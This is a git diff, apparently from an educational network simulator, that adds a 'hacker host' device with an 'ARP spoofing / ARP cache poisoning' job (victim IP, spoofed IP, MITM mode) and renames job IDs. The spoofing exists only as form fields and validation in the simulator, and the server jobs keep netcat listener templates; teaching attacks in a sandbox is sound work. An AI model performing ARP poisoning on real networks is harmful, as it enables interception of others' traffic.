[1]:[2]") +host_tcp_job = host.create_job(SEND_TCP_DATA_JOB_ID, "send -s [0] -p tcp [1]:[2]") host_tcp_job.add_param("config_host_send_tcp_data_size_input_field").add_check( data_size_check ).set_error_msg(build_error(ErrorType.data_size, "Отправить данные (TCP)")) @@ -235,7 +262,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.port, "Отправить данные (TCP)")) # traceroute -n (with options) -traceroute_job = host.create_job(5, "traceroute -n [0] [1]") +traceroute_job = host.create_job(TRACEROUTE_JOB_ID, "traceroute -n [0] [1]") traceroute_job.add_param( "config_host_traceroute_with_options_options_input_field" ).add_check(ascii_check).add_filter(traceroute_options_filter).set_error_msg( @@ -248,7 +275,7 @@ def build_error(error_type: str, cmd: str) -> str: ) # Add route -add_route_job = host.create_job(102, "ip route add [0]/[1] via [2]") +add_route_job = host.create_job(ADD_ROUTE_JOB_ID, "ip route add [0]/[1] via [2]") add_route_job.add_param("config_host_add_route_ip_input_field").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) @@ -260,7 +287,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) # arp -s ip hw_addr -arp_job = host.create_job(103, "arp -s [0] [1]") +arp_job = host.create_job(ARP_CACHE_ADD_JOB_ID, "arp -s [0] [1]") arp_job.add_param("config_host_add_arp_cache_ip_input_field").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "Добавить запись в ARP-cache")) @@ -268,23 +295,124 @@ def build_error(error_type: str, cmd: str) -> str: MAC_check ).set_error_msg('MAC-адрес для команды "Добавить запись в ARP-cache" указан неверно') -host_dhclient_job = host.create_job(108, "dhcp client") +host_dhclient_job = host.create_job(DHCP_CLIENT_JOB_ID, "dhcp client") host_dhclient_job.add_param( "config_host_add_dhclient_interface_select_iface_field" ).add_check(emptiness_check).set_error_msg( 'Не указан интерфейс для команды "Запросить IP адрес автоматически"' ) +# ARP spoofing / cache poisoning (for hacker host) +host_arp_spoof_job = host.create_job(ARP_SPOOF_JOB_ID, "[3] -> [1]") +host_arp_spoof_job.add_param( + "config_host_add_arp_spoof_interface_select_field" +).add_check(emptiness_check).set_error_msg( + 'Не указан интерфейс для команды "ARP spoofing / ARP cache poisoning"' +) +host_arp_spoof_job.add_param( + "config_host_add_arp_spoof_victim_ip_input_field" +).add_check(IPv4_check).set_error_msg( + 'Неверно указан IP целевого хоста для команды "ARP spoofing / ARP cache poisoning"' +) +host_arp_spoof_job.add_param( + "config_host_add_arp_spoof_target_ip_input_field" +).add_check(IPv4_check).set_error_msg( + 'Неверно указан IP узла, от лица которого отвечает хакер, для команды "ARP spoofing / ARP cache poisoning"' +) +host_arp_spoof_job.add_param("config_host_add_arp_spoof_mode_select_field").add_check( + emptiness_check +).set_error_msg('Не выбран режим для команды "ARP spoofing / ARP cache poisoning"') + +# ~ ~ ~ HOST HACKER JOBS ~ ~ ~ + +# ping -c 1 (1 param) +host_hacker_ping_job = host_hacker.create_job(PING_JOB_ID, "ping -c 1 [0]") +host_hacker_ping_job.add_param("config_host_hacker_ping_c_1_ip").add_check( + IPv4_check +).set_error_msg(build_error(ErrorType.ip, "ping")) + +# traceroute -n (with options) +host_hacker_traceroute_job = host_hacker.create_job( + TRACEROUTE_JOB_ID, "traceroute -n [0] [1]" +) +host_hacker_traceroute_job.add_param( + "config_host_hacker_traceroute_with_options_options_input_field" +).add_check(ascii_check).add_filter(traceroute_options_filter).set_error_msg( + build_error(ErrorType.options, "traceroute -n (с опциями)") +) +host_hacker_traceroute_job.add_param( + "config_host_hacker_traceroute_with_options_ip_input_field" +).add_check(IPv4_check).set_error_msg( + build_error(ErrorType.ip, "traceroute -n (с опциями)") +) + +# Add route +host_hacker_add_route_job = host_hacker.create_job( + ADD_ROUTE_JOB_ID, "ip route add [0]/[1] via [2]" +) +host_hacker_add_route_job.add_param( + "config_host_hacker_add_route_ip_input_field" +).add_check(IPv4_check).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) +host_hacker_add_route_job.add_param( + "config_host_hacker_add_route_mask_input_field" +).add_check(mask_check).set_error_msg(build_error(ErrorType.mask, "Добавить маршрут")) +host_hacker_add_route_job.add_param( + "config_host_hacker_add_route_gw_input_field" +).add_check(IPv4_check).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) + +# arp -s ip hw_addr +host_hacker_arp_job = host_hacker.create_job(ARP_CACHE_ADD_JOB_ID, "arp -s [0] [1]") +host_hacker_arp_job.add_param( + "config_host_hacker_add_arp_cache_ip_input_field" +).add_check(IPv4_check).set_error_msg( + build_error(ErrorType.ip, "Добавить запись в ARP-cache") +) +host_hacker_arp_job.add_param( + "config_host_hacker_add_arp_cache_mac_input_field" +).add_check(MAC_check).set_error_msg( + 'MAC-адрес для команды "Добавить запись в ARP-cache" указан неверно' +) + +host_hacker_dhclient_job = host_hacker.create_job(DHCP_CLIENT_JOB_ID, "dhcp client") +host_hacker_dhclient_job.add_param( + "config_host_hacker_add_dhclient_interface_select_iface_field" +).add_check(emptiness_check).set_error_msg( + 'Не указан интерфейс для команды "Запросить IP адрес автоматически"' +) + +# ARP spoofing / cache poisoning +host_hacker_arp_spoof_job = host_hacker.create_job(ARP_SPOOF_JOB_ID, "[3] -> [1]") +host_hacker_arp_spoof_job.add_param( + "config_host_hacker_add_arp_spoof_interface_select_field" +).add_check(emptiness_check).set_error_msg( + 'Не указан интерфейс для команды "ARP spoofing / ARP cache poisoning"' +) +host_hacker_arp_spoof_job.add_param( + "config_host_hacker_add_arp_spoof_victim_ip_input_field" +).add_check(IPv4_check).set_error_msg( + 'Неверно указан IP целевого хоста для команды "ARP spoofing / ARP cache poisoning"' +) +host_hacker_arp_spoof_job.add_param( + "config_host_hacker_add_arp_spoof_target_ip_input_field" +).add_check(IPv4_check).set_error_msg( + 'Неверно указан IP узла, от лица которого отвечает хакер, для команды "ARP spoofing / ARP cache poisoning"' +) +host_hacker_arp_spoof_job.add_param( + "config_host_hacker_add_arp_spoof_mode_select_field" +).add_check(emptiness_check).set_error_msg( + 'Не выбран режим для команды "ARP spoofing / ARP cache poisoning"' +) + # ~ ~ ~ ROUTER JOBS ~ ~ ~ # ping -router_ping_job = router.create_job(1, "ping -c 1 [0]") +router_ping_job = router.create_job(PING_JOB_ID, "ping -c 1 [0]") router_ping_job.add_param("config_router_ping_c_1_ip").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "ping")) # add IP/mask -add_ip_job = router.create_job(100, "ip addess add [0]/[1] dev [2]") +add_ip_job = router.create_job(IP_ADDR_ADD_JOB_ID, "ip addess add [0]/[1] dev [2]") add_ip_job.add_param("config_router_add_ip_mask_iface_select_field").add_check( emptiness_check ).set_error_msg('Не указан интерфейс для команды "Добавить IP-адрес"') @@ -296,14 +424,14 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.mask, "Добавить IP-адрес")) # add NAT masquerade to the interface -nat_job = router.create_job(101, "add nat -o [0] -j masquerad") +nat_job = router.create_job(NAT_JOB_ID, "add nat -o [0] -j masquerad") nat_job.add_param("config_router_add_nat_masquerade_iface_select_field").add_check( emptiness_check ).set_error_msg('Не указан интерфейс для команды "Включить NAT masquerade"') # add Port forwarding TCP port_forwarding_tcp_job = router.create_job( - 109, "port forwarding -p tcp -i [0] from [1] to [2]:[3]" + PORT_FORWARDING_TCP_JOB_ID, "port forwarding -p tcp -i [0] from [1] to [2]:[3]" ) port_forwarding_tcp_job.add_param( "config_router_add_port_forwarding_tcp_iface_select_field" @@ -326,7 +454,7 @@ def build_error(error_type: str, cmd: str) -> str: # add Port forwarding UDP port_forwarding_udp_job = router.create_job( - 110, "port forwarding -p udp -i [0] from [1] to [2]:[3]" + PORT_FORWARDING_UDP_JOB_ID, "port forwarding -p udp -i [0] from [1] to [2]:[3]" ) port_forwarding_udp_job.add_param( "config_router_add_port_forwarding_udp_iface_select_field" @@ -348,7 +476,9 @@ def build_error(error_type: str, cmd: str) -> str: ) # Add route -router_add_route_job = router.create_job(102, "ip route add [0]/[1] via [2]") +router_add_route_job = router.create_job( + ADD_ROUTE_JOB_ID, "ip route add [0]/[1] via [2]" +) router_add_route_job.add_param("config_router_add_route_ip_input_field").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) @@ -360,7 +490,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.ip, "Добавить маршрут")) # Add VLAN -vlan_job = router.create_job(104, "subinterface [1]:[2] VLAN [3]") +vlan_job = router.create_job(SUBINTERFACE_VLAN_JOB_ID, "subinterface [1]:[2] VLAN [3]") vlan_job.add_param("config_router_add_subinterface_iface_select_field").add_check( emptiness_check ).set_error_msg('Не выбран линк для команды "Добавить сабинтерфейс с VLAN"') @@ -375,7 +505,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg('Неверный параметр VLAN для команды "Добавить сабинтерфейс с VLAN"') # IPIP -ipip_job = router.create_job(105, "ipip: [3] from [0] to [1] \n[3]: [2]") +ipip_job = router.create_job(IPIP_TUNNEL_JOB_ID, "ipip: [3] from [0] to [1] \n[3]: [2]") ipip_job.add_param("config_router_add_ipip_tunnel_iface_select_ip_field").add_check( emptiness_check ).set_error_msg( @@ -396,7 +526,7 @@ def build_error(error_type: str, cmd: str) -> str: ) # GRE -gre_job = router.create_job(106, "gre: [3] from [0] to [1] \n[3]: [2]") +gre_job = router.create_job(GRE_TUNNEL_JOB_ID, "gre: [3] from [0] to [1] \n[3]: [2]") gre_job.add_param("config_router_add_gre_interface_select_ip_field").add_check( emptiness_check ).set_error_msg( @@ -419,7 +549,7 @@ def build_error(error_type: str, cmd: str) -> str: ) # Add ARP Proxy to the interface -arp_proxy_job = router.create_job(107, "arp proxy: [1]") +arp_proxy_job = router.create_job(ARP_PROXY_JOB_ID, "arp proxy: [1]") arp_proxy_job.add_param("config_router_add_arp_proxy_iface_select_field").add_check( emptiness_check ).set_error_msg('Не указан интерфейс для команды "Добавить ARP Proxy-интерфейс"') @@ -429,7 +559,7 @@ def build_error(error_type: str, cmd: str) -> str: # ~ ~ ~ SWITCH JOBS ~ ~ ~ -link_down_job = switch.create_job(6, "link down [1]") +link_down_job = switch.create_job(LINK_DOWN_JOB_ID, "link down [1]") link_down_job.add_param("config_switch_link_down_iface_select_field").add_check( emptiness_check ).set_error_msg('Не указан интерфейс для команды "Удалить линк"') @@ -437,7 +567,7 @@ def build_error(error_type: str, cmd: str) -> str: emptiness_check ).set_error_msg('Не указан интерфейс для команды "Удалить линк"') -sleep_job = switch.create_job(7, "sleep [0] seconds") +sleep_job = switch.create_job(SLEEP_JOB_ID, "sleep [0] seconds") sleep_job.add_param("config_switch_sleep").add_check(time_check).set_error_msg( build_error(ErrorType.options, "sleep") ) @@ -446,13 +576,13 @@ def build_error(error_type: str, cmd: str) -> str: # ~ ~ ~ SERVER JOBS ~ ~ ~ # ping -c 1 -server_ping_job = server.create_job(1, "ping -c 1 [0]") +server_ping_job = server.create_job(PING_JOB_ID, "ping -c 1 [0]") server_ping_job.add_param("config_server_ping_c_1_ip").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "ping")) # start UDP server -start_udp_server = server.create_job(200, "nc -u [0] -l [1]") +start_udp_server = server.create_job(OPEN_UDP_SERVER_JOB_ID, "nc -u [0] -l [1]") start_udp_server.add_param("config_server_start_udp_server_ip_input_field").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "Запустисть UDP сервер")) @@ -461,7 +591,7 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.port, "Запустисть UDP сервер")) # start TCP server -start_tcp_server = server.create_job(201, "nc [0] -l [1]") +start_tcp_server = server.create_job(OPEN_TCP_SERVER_JOB_ID, "nc [0] -l [1]") start_tcp_server.add_param("config_server_start_tcp_server_ip_input_field").add_check( IPv4_check ).set_error_msg(build_error(ErrorType.ip, "Запустисть TCP сервер")) @@ -470,13 +600,17 @@ def build_error(error_type: str, cmd: str) -> str: ).set_error_msg(build_error(ErrorType.port, "Запустисть TCP сервер")) # Block TCP/UDP port -block_server_port = server.create_job(202, "drop tcp/udp port [0]") +block_server_port = server.create_job( + BLOCK_TCP_UDP_PORT_JOB_ID, "drop tcp/udp port [0]" +) block_server_port.add_param("config_server_block_tcp_udp_port_input_field").add_check( port_check ).set_error_msg(build_error(ErrorType.port, "Блокировать TCP/UDP порт")) # start DHCP server -start_dhcp_server = server.create_job(203, "dhcp ip range: [0],[1]/[2] gw: [3]") +start_dhcp_server = server.create_job( + DHCP_SERVER_JOB_ID, "dhcp ip range: [0],[1]/[2] gw: [3]" +) start_dhcp_server.add_param("config_server_add_dhcp_ip_range_1_input_field").add_check( IPv4_check ).set_error_msg('Неверно указан IP адрес диапазона для команды "Запустить DHCP сервер"') @@ -514,6 +648,11 @@ def save_host_config(): return host.configure() +@jwt_required() +def save_host_hacker_config(): + return host_hacker.configure() + + @jwt_required() def save_router_config(): return router.configure() diff --git a/front/src/quiz/service/network_upload_service.py b/front/src/quiz/service/network_upload_service.py index da259c26..f5d8e38e 100644 --- a/front/src/quiz/service/network_upload_service.py +++ b/front/src/quiz/service/network_upload_service.py @@ -4,6 +4,7 @@ from typing import Any, Dict, List, Tuple from celery_app import app +from miminet_config import EXCLUDED_JOB_IDS def create_check_task(network: dict, requirements: list[dict], session_question_id): @@ -43,10 +44,6 @@ def create_check_task_json(networks, requirements: list[dict]): ) -# Unnecessary for task checking: (ping, ping with options, TCP/UDP ping, TCP/UDP server) -EXCLUDED_JOB_IDS = (1, 2, 3, 4, 200, 201) - - def prepare_task(user_network: dict, task_req: list[dict]): """ Prepare task according to requirements: diff --git a/front/src/static/config_devices.js b/front/src/static/config_devices.js index 25a3d274..b452ff2e 100644 --- a/front/src/static/config_devices.js +++ b/front/src/static/config_devices.js @@ -1,4 +1,5 @@ $('#config_host').load(ExternalUrlFor("/config_host.html")); +$('#config_host_hacker').load(ExternalUrlFor("/config_host_hacker.html")); $('#config_hub').load(ExternalUrlFor("/config_hub.html")); $('#config_switch').load(ExternalUrlFor("/config_switch.html")); $('#config_edge').load(ExternalUrlFor("/config_edge.html")); @@ -76,6 +77,7 @@ const HostErrorMsg = function (msg) { $("config_switch_main_form :input").prop("disabled", false); $('#config_host_main_form_submit_button').text('Сохранить').removeClass('disabled'); + $('#config_host_hacker_main_form_submit_button').text('Сохранить').removeClass('disabled'); $('#config_router_main_form_submit_button').text('Сохранить').removeClass('disabled'); $('#config_server_main_form_submit_button').text('Сохранить').removeClass('disabled'); $('#config_switch_main_form_submit_button').text('Сохранить').removeClass('disabled'); @@ -148,6 +150,20 @@ const ConfigTextboxForm = function (textbox_id) { "click", handleTextboxClick, ); + }; + +const UpdateHostHackerConfigurationForm = function(host_id) { + let data = $('#config_main_form').serialize(); + + // Disable all input fields + $("#config_main_form :input").prop("disabled", true); + + // Set loading spinner + $('#config_host_hacker_main_form_submit_button').text(''); + $('#config_host_hacker_main_form_submit_button').append('Сохранение...'); + + // Use unified delete and save function + DeleteAndSaveJob('host_hacker', UpdateHostHackerConfiguration, data, host_id); }; const ConfigHostForm = function (host_id) { @@ -189,6 +205,41 @@ const ConfigHostForm = function (host_id) { } } +const ConfigHostHackerForm = function(host_id){ + var form = document.getElementById('config_host_hacker_main_form_script').innerHTML; + var button = document.getElementById('config_host_hacker_save_script').innerHTML; + var banner = document.getElementById('config_host_hacker_edit_banner_script').innerHTML; + + // Clear all child + $(config_content_id).empty(); + $(config_content_save_tag).empty(); + + document.getElementById(config_content_save_id).style.display='block'; + + // Add new form + $(config_content_id).append(form); + $(config_content_id).append(banner); + $(config_content_save_tag).append(button); + + addIpFieldHandlers(); + + // Set host_id + $('#host_hacker_id').val(host_id); + $('#net_guid').val(network_guid); + + function handleHostHackerClick(event) { + event.preventDefault(); + UpdateHostHackerConfigurationForm(host_id); + } + + $('#config_host_hacker_main_form_submit_button, #config_host_hacker_end_form').on('click', handleHostHackerClick); + + // Update grid to exclude config panel area + if (typeof updateGridForConfigPanel === 'function') { + updateGridForConfigPanel(); + } +} + const ConfigRouterForm = function (router_id) { var form = document.getElementById('config_router_main_form_script').innerHTML; var button = document.getElementById('config_router_save_script').innerHTML; @@ -626,6 +677,23 @@ const SharedConfigHostForm = function(host_id){ $('#config_host_main_form_submit_button').prop('disabled', true); } +const SharedConfigHostHackerForm = function(host_id){ + var form = document.getElementById('config_host_hacker_main_form_script').innerHTML; + + // Clear all child + $(config_content_id).empty(); + $(config_content_save_tag).empty(); + document.getElementById(config_content_save_id).style.display='none'; + + // Add new form + $(config_content_id).append(form); + + // Set host_id + $('#host_hacker_id').val( host_id ); + $('#net_guid').val( network_guid ); + $('#config_host_hacker_main_form_submit_button').prop('disabled', true); +} + const SharedConfigRouterForm = function (router_id) { var form = document.getElementById('config_router_main_form_script').innerHTML; @@ -710,6 +778,14 @@ const ConfigHostName = function (hostname) { $('#config_host_name').val(hostname); } +const ConfigHostHackerName = function (hostname) { + + var text = document.getElementById('config_host_hacker_name_script').innerHTML; + + $(config_main_form_id).prepend((text)); + $('#config_host_hacker_name').val(hostname); +} + const ConfigRouterName = function (hostname) { var text = document.getElementById('config_router_name_script').innerHTML; @@ -761,6 +837,10 @@ const ConfigHostInterface = function (name, ip, netmask, connected_to) { ConfigItemInterface(name, ip, netmask, connected_to, "host"); } +const ConfigHostHackerInterface = function (name, ip, netmask, connected_to) { + ConfigItemInterface(name, ip, netmask, connected_to, "host_hacker"); +} + const ConfigRouterInterface = function (name, ip, netmask, connected_to) { ConfigItemInterface(name, ip, netmask, connected_to, "router"); } @@ -817,6 +897,18 @@ const UpdateHostForm = function(name) { $(elem).insertBefore(host_job_list); }; +const UpdateHostHackerForm = function(name) { + elem = document.getElementById(name).innerHTML; + host_job_list = document.getElementById('config_host_hacker_job_list'); + + if (!elem || !host_job_list) { + return; + } + + $('div[name="config_host_hacker_select_input"]').remove(); + $(elem).insertBefore(host_job_list); +}; + const ConfigHostJobOnChange = function (evnt) { let elem = null; @@ -856,6 +948,11 @@ const ConfigHostJobOnChange = function (evnt) { FillDeviceSelectIntf('#config_host_add_dhclient_interface_select_iface_field', '#host_id', "Выберите линк", false) break; + case '205': + UpdateHostForm('config_host_add_arp_spoof_script'); + FillDeviceSelectIntf('#config_host_add_arp_spoof_interface_select_field', '#host_id', "Выберите линк", false) + break; + case '0': $('div[name="config_host_select_input"]').remove(); break; @@ -866,6 +963,45 @@ const ConfigHostJobOnChange = function (evnt) { } +const ConfigHostHackerJobOnChange = function (evnt) { + + switch (evnt.target.value) { + case '1': + UpdateHostHackerForm('config_host_hacker_ping_c_1_script'); + break; + + case '5': + UpdateHostHackerForm('config_host_hacker_traceroute_with_options_script'); + break; + + case '102': + UpdateHostHackerForm('config_host_hacker_add_route_script'); + break; + + case '103': + UpdateHostHackerForm('config_host_hacker_add_arp_cache_script'); + break; + + case '108': + UpdateHostHackerForm('config_host_hacker_add_dhclient'); + FillDeviceSelectIntf('#config_host_hacker_add_dhclient_interface_select_iface_field', '#host_hacker_id', "Выберите линк", false) + break; + + case '205': + UpdateHostHackerForm('config_host_hacker_add_arp_spoof_script'); + FillDeviceSelectIntf('#config_host_hacker_add_arp_spoof_interface_select_field', '#host_hacker_id', "Выберите линк", false) + break; + + case '0': + $('div[name="config_host_hacker_select_input"]').remove(); + break; + + default: + console.log("Unknown target.value"); + } + +} + const ConfigHostJob = function (host_jobs, shared = 0) { let elem = document.getElementById('config_host_job_script').innerHTML; @@ -933,6 +1069,73 @@ const ConfigHostJob = function (host_jobs, shared = 0) { }); } +const ConfigHostHackerJob = function (host_jobs, shared = 0) { + + let elem = document.getElementById('config_host_hacker_job_script').innerHTML; + let host_id = document.getElementById('host_hacker_id'); + + if (!elem || !host_id) { + return; + } + + $(elem).insertBefore(host_id); + + // Set onchange + document.getElementById('config_host_hacker_job_select_field').addEventListener('change', ConfigHostHackerJobOnChange); + + // Update job counter with device ID + UpdateJobCounter('config_host_hacker_job_counter', host_id.value); + + elem = document.getElementById('config_host_hacker_job_list_script').innerHTML; + if (!elem) { + return; + } + + $(elem).insertBefore(host_id); + + // Print jobs if we have + if (!host_jobs) { + return; + } + + $.each(host_jobs, function (i) { + let jid = host_jobs[i].id; + + if (i == 0) { + $('#config_host_hacker_job_list').append(''); + } + + elem = document.getElementById('config_host_hacker_job_list_elem_script'); + + if (!elem) { + return; + } + + let job_elem = jQuery.extend({}, elem); + job_elem.innerHTML = job_elem.innerHTML.replace(/config_host_hacker_job_delete/g, 'config_host_hacker_job_delete_' + jid); + job_elem.innerHTML = job_elem.innerHTML.replace(/config_host_hacker_job_edit/g, 'config_host_hacker_job_edit_' + jid); + job_elem.innerHTML = job_elem.innerHTML.replace(/justify-content-between align-items-center\">/, 'justify-content-between align-items-center\">' + host_jobs[i].print_cmd + ''); + + let text = job_elem.innerHTML; + //$(text).insertBefore(host_id); + $('#config_host_hacker_job_list').append(text); + + $('#config_host_hacker_job_delete_' + jid).click(function (event) { + event.preventDefault(); + if (!shared) { + DeleteJobFromHost(host_id.value, jid, network_guid); + } + }); + + $('#config_host_hacker_job_edit_' + jid).click(function (event) { + event.preventDefault(); + if (!shared) { + EditJobInHostHacker(host_id.value, jid, network_guid); + } + }); + }); +} + const ConfigHostGateway = function (gw) { var text = document.getElementById('config_host_default_gw_script').innerHTML; @@ -941,6 +1144,14 @@ const ConfigHostGateway = function (gw) { $('#config_host_default_gw').val(gw); } +const ConfigHostHackerGateway = function (gw) { + + var text = document.getElementById('config_host_hacker_default_gw_script').innerHTML; + + $(text).insertBefore('#config_host_hacker_end_form'); + $('#config_host_hacker_default_gw').val(gw); +} + const ConfigRouterGateway = function (gw) { var text = document.getElementById('config_router_default_gw_script').innerHTML; @@ -1483,6 +1694,66 @@ const EditJobInHost = function(host_id, job_id, network_guid) { case '108': // Запросить IP адрес автоматически // No parameters needed - DHCP client request break; + case '205': // ARP spoofing / ARP cache poisoning + FillDeviceSelectIntf('#config_host_add_arp_spoof_interface_select_field', '#host_id', "Выберите линк", false); + $('#config_host_add_arp_spoof_interface_select_field').val(job.arg_1 || ''); + $('#config_host_add_arp_spoof_victim_ip_input_field').val(job.arg_2 || ''); + $('#config_host_add_arp_spoof_target_ip_input_field').val(job.arg_3 || ''); + $('#config_host_add_arp_spoof_mode_select_field').val(job.arg_4 || 'mitm'); + break; + } + }, 200); + } +}; + +// Edit job in hacker host +const EditJobInHostHacker = function(host_id, job_id, network_guid) { + const job = jobs.find(j => j.id === job_id); + + if (!job) { + console.error('Job not found:', job_id); + return; + } + + EnterEditMode('host_hacker', job_id, job.job_id); + + // Set the select field to the job type + const selectField = document.getElementById('config_host_hacker_job_select_field'); + if (selectField) { + selectField.value = job.job_id.toString(); + + // Trigger change event to show the form + const event = new Event('change'); + selectField.dispatchEvent(event); + + // Fill in the form fields with job data + setTimeout(() => { + switch(job.job_id.toString()) { + case '1': // ping (1 пакет) + $('#config_host_hacker_ping_c_1_ip').val(job.arg_1 || ''); + break; + case '5': // traceroute (с опциями) + $('#config_host_hacker_traceroute_with_options_options_input_field').val(job.arg_1 || ''); + $('#config_host_hacker_traceroute_with_options_ip_input_field').val(job.arg_2 || ''); + break; + case '102': // Добавить маршрут + $('#config_host_hacker_add_route_ip_input_field').val(job.arg_1 || ''); + $('#config_host_hacker_add_route_mask_input_field').val(job.arg_2 || '0'); + $('#config_host_hacker_add_route_gw_input_field').val(job.arg_3 || ''); + break; + case '103': // Добавить запись в ARP-cache + $('#config_host_hacker_add_arp_cache_ip_input_field').val(job.arg_1 || ''); + $('#config_host_hacker_add_arp_cache_mac_input_field').val(job.arg_2 || ''); + break; + case '108': // Запросить IP адрес автоматически + break; + case '205': // ARP spoofing / ARP cache poisoning + FillDeviceSelectIntf('#config_host_hacker_add_arp_spoof_interface_select_field', '#host_hacker_id', "Выберите линк", false); + $('#config_host_hacker_add_arp_spoof_interface_select_field').val(job.arg_1 || ''); + $('#config_host_hacker_add_arp_spoof_victim_ip_input_field').val(job.arg_2 || ''); + $('#config_host_hacker_add_arp_spoof_target_ip_input_field').val(job.arg_3 || ''); + $('#config_host_hacker_add_arp_spoof_mode_select_field').val(job.arg_4 || 'mitm'); + break; } }, 200); } @@ -1699,4 +1970,4 @@ const EditJobInSwitch = function(switch_id, job_id, network_guid) { }, 100); }, 200) } -}; \ No newline at end of file +}; diff --git a/front/src/static/config_host.html b/front/src/static/config_host.html index 296ee026..0a44751f 100644 --- a/front/src/static/config_host.html +++ b/front/src/static/config_host.html @@ -107,6 +107,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/front/src/static/icons.js b/front/src/static/icons.js index cca063f9..0025ebc9 100644 --- a/front/src/static/icons.js +++ b/front/src/static/icons.js @@ -1,5 +1,6 @@ const DiagramIcons = { host: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGAAAABRCAYAAAAtvqMwAAAAAXNSR0IArs4c6QAAA2NJREFUeF7tnNFx2zAMhiG3e7TZJN5AG7TeoBf3PfF7nesGTTfQBnUmiTpIqh5lJ5EdKflBE4Sk+32Xp0AA+H8ERckGC+HHVYHCNTqDCwE4TwICIABnBZzDswIIwFkB5/CsAAJwVsA5PCtg0gDKb5/3+S++OI/DI/xfkUUt1Y/dOcHjKqAVPohe3JwTfD7XNjdS3W5ixqMHUH6/FGn+xASb+TW1SLHSVoQOQDvzPzycCFmLNHczF7dneEVYfsPfZeeftcjjUqqfNaqHEsA6zPxOwGKpJY4mNhm71yvCTqrtEs1fC6B5cUzxn7Uor76KFL9etHm8QKsAB3AapNri16LTYcp25ToszYddIT45cRHLq+vOrqe/zFpI8mnKOr6f+7/fvbO77C7P+K4oMYDTe8T7w5mexcDsJoBcKAkgl9IDcQiAAERk4CbMe8B+dvAmbFglXIIMxUVcEwCikqENARiKi7gmAEQlQxsCMBQXcU0AiEqGNgRgKC7imgAQlQxtCMBQXMQ1ASAqGdoQgKG4iGsCQFQytCEAQ3ER1wSAqGRoQwCG4iKuCQBRydCGAAzFRVwTAKKSoQ0BGIqLuCYARCVDGwIwFBdxTQCISoY2BGAoLuKaABCVDG0IwFBcxPW4AYQukW7PFDKiidkMNOKN4ufpE5MyabpHHTLNSqpbqHFR0aBx1J5aS7W9SDqAqTsr153+OZMesVctqndSbVdT1y1J/sftWyKK/jm8AkKmp4EUP8NOMtCxOek9MQD/aXoYjhJAWwV9N9rQmAw3J49Nx8h8+jYbqh5hPYC2CnhOxAAwtfhxAJ6i7/uGwykpM992vlkfh8ovNrEnBuiWoKFc2qr4eGhSjizoNy9rruNBF/CxAarMzzym5ilWGgCqzCOMy3W474QmcO1n9NtlAtAiTWxPAIkF1bojAK1iie0JILGgWncEoFUssX1+APvXGeHZYUzPD2E/vxNp7tG3mKk45AVw9M481RCS+gnn321yQsgNoPPKNqlwKZ1FvVKITSAfgOkcd5n14S0jgN4jL2MnjuV1Wb/nyAcgSNZ/7qilmFrfWZefkFxeAM8QFmEHNLLD/Rb3sW80tZS79vkBnJPtDK8lAGeoBEAAzgo4h2cFEICzAs7hWQEE4KyAc3hWAAE4K+Ac/j9oMVNwgtAfYAAAAABJRU5ErkJggg==", + hacker: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAAGYktHRAD/AP8A/6C9p5MAAAAHdElNRQfqAx0RCCR35sBIAAAAAW9yTlQBz6J3mgAACyRJREFUaN7Vmntw1NUVxz/3/nazu9ndvJNNeCQ8EkMgkAK+eCpFtDKA2lZt0dbWVjutaLU61tahtVMdbce2Kq2dDtaOD6xatdAKWlSUQH2AgBgekidJyGOzyW7IZnezj9/v9o/dBAJINpDY4czkj2zyu7/zOffec7733BXfeuwF25aq2ru9/uCd4VgsWynOGTNJqTttlm3FBdn3izE3/2qVPxR+ZNnsMvsFJeMR/2/vkjQhBL5AiJe2f0Krz7/P5PUHV86dMsH+p1uvJsNu41yZEQEIKSjOz+aWJ18pN/WFo/aCTCeplhRiuvH/9m9YpiGZnJ+Nw2pBAvE5OEdm4kQTCIQA+UW8TAqBFKO1++IzMOogmhTsb3az93AbUo5eKhlVEE1K6t1eVq1dz6qn1tPo6UYbJZhRA4lDdLFq7Xp21Dazq+4I9z23CXd3L5oc+deaRjwyUmAYisoD9fzs+TeoaetkzfevwtMT4MF/vEMkpvPQyq9QNi4PQynUCOX7pEH6o6iUGpTgBPHiJAREYjr1bV08895u/vr2DrKdqTz1o6+zbHYZkZiOxWTiwVfe4au/fZY7l83nqgun4Up3xOGVOqmG9Y8NCt04PXBSIJGYzo6aBqSUuNIdOGwWNCkQCEKRKK3eHg61eqg8UE/l/gZ6Qn1cfVE5dy1bQNm4XHRDkWLWuH3pXMrG5fH7f1dy77Mb+cvmj7hyVilzS4uY5Momy2HDpElAYCiDUCSK52gAKQTTCl2nXZJDgggRd3b13zezu76FDLsNu8WMpkkEgr5oDF9vECGgMCeTFRdM5etzp3P+5HFYU8wopTBpIjGrsPT8MuaUFvKfPdWs27aHp9/ZyZqN/8WZaiE91YrVbEIIQSSqE4pE8fYGueJL5/G3VdehnWZrDT0jSmHSJJoUpFrMXF5Rgp5YA2ZNkuO0MyEvk6njXZSOzSXHacekSZo83WzeW00kph83FtgsZpbNLuP6+RUsO7+MereXqqZ26tu7aPEepScUJhLVsabEXfvnR/uxmE2JmToLEAVYTCaynXby0h08fOOV5KTZUUohEoVOSoFSDGxepRTrKvdw/7o3OVGFmjTJ07ddy40L